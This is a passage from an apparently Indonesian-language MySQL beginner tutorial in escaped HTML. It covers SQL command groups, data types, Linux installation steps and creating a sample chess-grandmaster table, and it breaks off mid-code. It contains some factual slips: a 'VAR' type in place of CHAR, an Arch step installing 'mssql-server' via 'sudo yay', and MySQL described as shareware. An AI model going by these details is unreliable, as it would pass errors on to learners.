src=&quot;/_astro/ss2.C1YpA2of_Z2dKkrQ.webp&quot; /&gt;&lt;figcaption&gt;primary key &amp;amp; foreign key&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Referensi bacaan lanjut tentang &lt;em&gt;database relational&lt;/em&gt;: &lt;a href=&quot;https://www.dicoding.com/blog/mengenal-apa-itu-relational-database/&quot; target=&quot;_blank&quot;&gt;https://www.dicoding.com/blog/mengenal-apa-itu-relational-database/&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Mengapa SQL &amp;amp; MySQL itu penting?&lt;a href=&quot;#mengapa-sql--mysql-itu-penting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mungkin kita bisa beranggapan bahwa jika database hanya terdiri dari kumpulan tabel-tabel saja, mengapa tidak menggunakan aplikasi yang lebih familiar seperti Excel saja? Betul, aplikasi seperti excel selain lebih familiar juga lebih user-friendly jika digunakan untuk mengelola data-data berskala kecil. Jika database yang dikelola berjumlah puluhan-ratusan ribu atau bahkan hingga jutaan, maka aplikasi berbasis GUI (&lt;em&gt;Grapical User Interface&lt;/em&gt;) akan kewalahan jika diminta untuk mengelola data-data tersebut. Oleh karena itu, SQL yang berbasis CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;) diciptakan untuk meng-&lt;em&gt;handle&lt;/em&gt; data-data yang lebih besar. Salah satu aplikasi berbasis SQL yang populer adalah MySQL, yang perintah-perintah dasarnya akan kita pelajari pada artikel ini.&lt;/p&gt;&lt;p&gt;Selain alasan di atas, SQL dan MySQL menjadi populer karena beberapa alasan lain, misalnya alasan keamanan data, bersifat &lt;em&gt;open source&lt;/em&gt; (gratis), dan memiliki performa yang relatif cukup baik&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. Alasan keamanan data artinya, MySQL memberikan sistem manajemen database yang paling aman dan andal sehingga banyak digunakan oleh perusahaan-perusahaan ternama seperti Wordpress, Facebook, Twitter alias X, dan Joomla. MySQL juga bersifat &lt;em&gt;open source&lt;/em&gt; karena memiliki lisensi &lt;a href=&quot;https://en.wikipedia.org/wiki/Free-software_license&quot; target=&quot;_blank&quot;&gt;Free Software&lt;/a&gt; dan &lt;a href=&quot;https://en.wikipedia.org/wiki/Shareware&quot; target=&quot;_blank&quot;&gt;Shareware&lt;/a&gt; serta memiliki banyak komunitas dan dokumentasinya. Terkait performa, MySQL memang dirancang untuk aplikasi yang butuh kecepatan sangat tinggi dan memanfaatkan penyimpanan data di memori agar performa aplikasi semakin baik.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Fungsi-fungsi Dasar MySQL&lt;a href=&quot;#fungsi-fungsi-dasar-mysql&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setidaknya, terdapat 3 fungsi dasar MySQL sebagai aplikasi pengelola database. Ketiga fungsi tersebut terkait dengan membuat, memanipulasi, dan mengontrol database. Berikut adalah 3 fungsi MySQL&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. DDL (&lt;em&gt;Data Definition Language&lt;/em&gt;)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;DDL adalah metode query yang digunakan untuk &lt;mark&gt; mendefinisikan objek-objek database &lt;/mark&gt; seperti:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CREATE DATABASE&lt;/strong&gt;: membuat database baru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CREATE TABLE:&lt;/strong&gt; membuat tabel baru dalam database.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ALTER TABLE:&lt;/strong&gt; mengubah struktur tabel yang sudah ada, misalnya menambah atau menghapus kolom.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DROP DATABASE:&lt;/strong&gt; menghapus seluruh database beserta seluruh isinya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DROP TABLE:&lt;/strong&gt; menghapus tabel beserta data yang ada di dalamnya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CREATE INDEX:&lt;/strong&gt; membuat indeks untuk meningkatkan kecepatan pencarian data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DROP INDEX:&lt;/strong&gt; menghapus indeks yang sudah ada.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;2. DML (&lt;em&gt;Data Manipulation Language&lt;/em&gt;)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;DML adalah metode query yang digunakan untuk &lt;mark&gt; memanipulasi (menambah, mengubah, dan menghapus) data di dalam tabel &lt;/mark&gt;, seperti:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SELECT:&lt;/strong&gt; mengambil data dari satu atau lebih tabel.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INSERT INTO:&lt;/strong&gt; menambahkan data baru ke dalam tabel.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; mengubah data yang sudah ada dalam tabel.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DELETE:&lt;/strong&gt; menghapus data dari tabel.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;3. DCL (&lt;em&gt;Data Control Language&lt;/em&gt;)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;DCL adalah metode query yang digunakan untuk &lt;mark&gt; mengatur hak akses dan kontrol terhadap data dalam database &lt;/mark&gt;, seperti :&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GRANT:&lt;/strong&gt; memberikan hak akses tertentu kepada pengguna atau grup pengguna.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;REVOKE:&lt;/strong&gt; mencabut hak akses yang sudah diberikan kepada pengguna.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Tipe Data MySQL&lt;a href=&quot;#tipe-data-mysql&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum mulai instalasi, perlu diketahui beberapa tipe data di MySQL. Secara garis besar, tipe data di MySQL dapat dibagi menjadi 4 kategori, yaitu teks &amp;amp; karakter, angka, tanggal &amp;amp; jam/waktu, serta jenis data khusus&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Teks &amp;amp; Karakter (&lt;em&gt;String&lt;/em&gt;)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Tipe data paling umum digunakan yang terkait dengan teks &amp;amp; karakter (&lt;em&gt;string&lt;/em&gt;) adalah:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;VAR:&lt;/strong&gt; menyimpan teks atau karakter dengan panjang tetap (0-255).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VARCHAR:&lt;/strong&gt; menyimpan teks atau karakter yang lebih panjang (0-65535).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TEXT:&lt;/strong&gt; menyimpan string dengan maksimum panjang 65535 bytes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LONGTEXT:&lt;/strong&gt; menyimpan string dengan maksium panjang 4,294,967,295 karakter.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;2. Angka (&lt;em&gt;Numeric&lt;/em&gt;)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Tipe data &lt;em&gt;numeric&lt;/em&gt; yang biasa digunakan antara lain:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SMALLINT:&lt;/strong&gt; menyimpan / mendefinisikan bilangan bulat kecil, berkisar dari -32768 hingga 32767&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INT:&lt;/strong&gt; menyimpan / mendefinisikan data berupa bilangan bulat, antara -2147483648 hingga 2147483647.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BIGINT:&lt;/strong&gt; menyimpan / mendefinisikan bilangan bulat yang lebih besar, antara -9223372036854775808 hingga 9223372036854775807.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FLOAT:&lt;/strong&gt; menyimpan / mendefinisikan data berupa angka desimal dengan presisi rendah.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DOUBLE:&lt;/strong&gt; menyimpan / mendefinisikan data berupa angka desimal dengan presisi tinggi.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;3. Tanggal &amp;amp; Jam (&lt;em&gt;Date and Time&lt;/em&gt;)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Tipe data tanggal &amp;amp; jam diantaranya yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DATE:&lt;/strong&gt; untuk tanggal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TIME:&lt;/strong&gt; untuk jam / waktu.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DATETIME:&lt;/strong&gt; untuk kombinasi tanggal dan jam / waktu.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;YEAR:&lt;/strong&gt; untuk tahun dalam format 4 digit.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;4. Jenis Data Khusus&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Jenis data khusus ini terbagi menjadi 2, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BOOL:&lt;/strong&gt; untuk menyimpan / mendefinisikan data boolean, 0 dianggap sebagai &lt;em&gt;&lt;strong&gt;false&lt;/strong&gt;&lt;/em&gt; dan selain 0 dianggap &lt;em&gt;&lt;strong&gt;true&lt;/strong&gt;&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ENUM:&lt;/strong&gt; untuk menyimpan / mendefinisikan data berupa nilai yang sudah ditentukan sebelumnya.&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Sebetulnya, masih banyak lagi tipe data yang dapat digunakan di MySQL, namun semuanya mengacu pada 3 kategori besar, yaitu tipe data string, numeric, dan time &amp;amp; date. Selengkapnya mengenai tipe data MySQL dapat dibaca di tautan berikut: &lt;a href=&quot;https://www.w3schools.com/mysql/mysql_datatypes.asp&quot; target=&quot;_blank&quot;&gt;w3schools&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Instalasi MySQL&lt;a href=&quot;#instalasi-mysql&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Oke, sekarang saya akan menginstall mysql di linux:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Instalasi via Repository&lt;a href=&quot;#instalasi-via-repository&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Archlinux (via AUR - &lt;em&gt;Arch User Repository&lt;/em&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mssql-server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Debian:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mysql-server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Instalasi via .deb File (Debian)&lt;a href=&quot;#instalasi-via-deb-file-debian&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Catatan:&lt;/strong&gt;&lt;br /&gt;
Instalasi SQL di Debian via repository official hanya dapat dilakukan di Debian sid (&lt;em&gt;unstable&lt;/em&gt;). Jadi, kita akan melakukan instalasi SQL manual menggunakan file &lt;code&gt;.deb&lt;/code&gt; resmi dari SQL-nya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1120&quot; height=&quot;745&quot; src=&quot;/_astro/ss3.DNBhYEo5_Z5OhAo.webp&quot; /&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;Pertama, kita unduh terlebih dahulu file-nya dari website MySQL (&lt;a href=&quot;https://dev.mysql.com/downloads/repo/apt/&quot; target=&quot;_blank&quot;&gt;https://dev.mysql.com/downloads/repo/apt/&lt;/a&gt;). Kita juga bisa mengunduh filenya via terminal dengan mengetikkan perintah berikut:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;wget&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://dev.mysql.com/get/mysql-apt-config_0.8.32-1_all.deb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Kemudian, kita akan melakukan instalasi repo MySQL dengan mengetikkan perintah berikut:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dpkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mysql-apt-config_0.8.32-1_all.deb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Nanti akan muncul &lt;em&gt;interface&lt;/em&gt; berwarna biru (seperti gambar di bawah ini), dimana kita bisa memilih versi SQL yang ingin di-&lt;em&gt;install&lt;/em&gt; dan statu &lt;em&gt;connector&lt;/em&gt;-nya. Saya biarkan &lt;em&gt;default&lt;/em&gt; seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1468&quot; height=&quot;867&quot; src=&quot;/_astro/ss4.FcRX9wT2_ZjG05c.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Klik &lt;strong&gt;&lt;code&gt;Tab&lt;/code&gt;&lt;/strong&gt; di keyboard untuk memindahkan kursor ke &lt;strong&gt;Ok&lt;/strong&gt; di bawah, lalu tekan Enter.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Berikutnya, kita perlu melakukan update repository dan melakukan instalasi mysql server:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mysql-server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika diminta password, silakan buat password untuk root akses ke server MySQL nanti:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;733&quot; height=&quot;860&quot; src=&quot;/_astro/ss5.DeiJBnHR_Z1X3DqW.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Biarkan proses instalasinya berjalan hingga selesai.&lt;/p&gt;&lt;p&gt;Untuk memastikan mysql sudah ter-&lt;em&gt;install&lt;/em&gt;, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mysql&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;666&quot; height=&quot;166&quot; src=&quot;/_astro/ss6.vIGEQMdm_pv7qY.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk memastikan mysql sudah berjalan, jalankan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mysql&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1048&quot; height=&quot;400&quot; src=&quot;/_astro/ss7.CGpTS6Qh_Z2vqBlf.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Syntax / Query Dasar MySQL&lt;a href=&quot;#syntax--query-dasar-mysql&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Syntax&lt;/em&gt; dan &lt;em&gt;query&lt;/em&gt; yang akan saya bahas di artikel ini adalah &lt;em&gt;syntax&lt;/em&gt; dan &lt;em&gt;query&lt;/em&gt; yang terkait dengan ketiga fungsi MySQL, yaitu DDL (&lt;em&gt;Data Definition Language&lt;/em&gt;), DML (&lt;em&gt;Data Manipulation Language&lt;/em&gt;), dan DCL (&lt;em&gt;Data Control Language&lt;/em&gt;):&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Membuat Database Baru&lt;a href=&quot;#membuat-database-baru&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita perlu masuk ke server SQL terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mysql -u &lt;/span&gt;&lt;span&gt;root&lt;/span&gt;&lt;span&gt; -p&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian masukkan password root yang sudah kita buat ketika instalasi tadi.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;785&quot; src=&quot;/_astro/gif1.CT5osrY-_Z2ptiJP.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita bisa melihat database default yang sudah ada dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;show databases;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;{{&amp;lt; callout &amp;gt;}} &lt;strong&gt;Penting!&lt;/strong&gt; Pastikan setiap perintah atau &lt;em&gt;command&lt;/em&gt; diakhiri dengan tanda titik koma &lt;strong&gt;(;)&lt;/strong&gt;  {{&amp;lt; /callout &amp;gt;}}&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;310&quot; height=&quot;339&quot; src=&quot;/_astro/ss8.BE8rCEYJ_1dvLRQ.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sekarang, saya akan membuat sebuah database baru bernama &lt;strong&gt;“chessgm”&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;create&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;database&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;chessgm&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekarang, kalau dicek kembali database yang ada dengan perintah &lt;code&gt;show databases;&lt;/code&gt;, maka &lt;strong&gt;chessgm&lt;/strong&gt; ada di sana:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;283&quot; height=&quot;358&quot; src=&quot;/_astro/ss9.Cejh3dhS_1pg0Ga.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Membuat Tabel Baru&lt;a href=&quot;#membuat-tabel-baru&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, saya akan membuat tabel baru di dalam database chessgm. Oleh karena itu, saya perlu mengetikkan perintah berikut terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;use&lt;/span&gt;&lt;span&gt; chessgm;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah spesifikasi tabel yang ingin saya buat:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;nama tabel: “Chess Grandmaster”,&lt;/li&gt;
&lt;li&gt;kolom id: mengidentifikasi setiap grandmaster catur, tipe data &lt;em&gt;numeric&lt;/em&gt; (INT) dan berperan sebagai primary key,&lt;/li&gt;
&lt;li&gt;kolom nama: berisi nama-nama grandmaster catur, tipe data &lt;em&gt;string&lt;/em&gt; (VARCHAR),&lt;/li&gt;
&lt;li&gt;kolom elo: berisi elo rating dari masing-masing grandmater, tipe data &lt;em&gt;numeric&lt;/em&gt; (INT),&lt;/li&gt;
&lt;li&gt;kolom birth: berisi tanggal lahir masing-masing grandmaster, tipe data &lt;em&gt;date &amp;amp; time&lt;/em&gt; (DATE),&lt;/li&gt;
&lt;li&gt;kolom fed: berisi federasi caturnya, tipe data string (VARCHAR).&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah syntax-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;CREATE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;id &lt;/span&gt;&lt;span&gt;INT&lt;/span&gt;&lt;span&gt; AUTO_INCREMENT &lt;/span&gt;&lt;span&gt;PRIMARY KEY&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nama &lt;/span&gt;&lt;span&gt;VARCHAR&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;NOT NULL&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;elo &lt;/span&gt;&lt;span&gt;INT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NOT NULL&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;birth &lt;/span&gt;&lt;span&gt;DATE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NOT 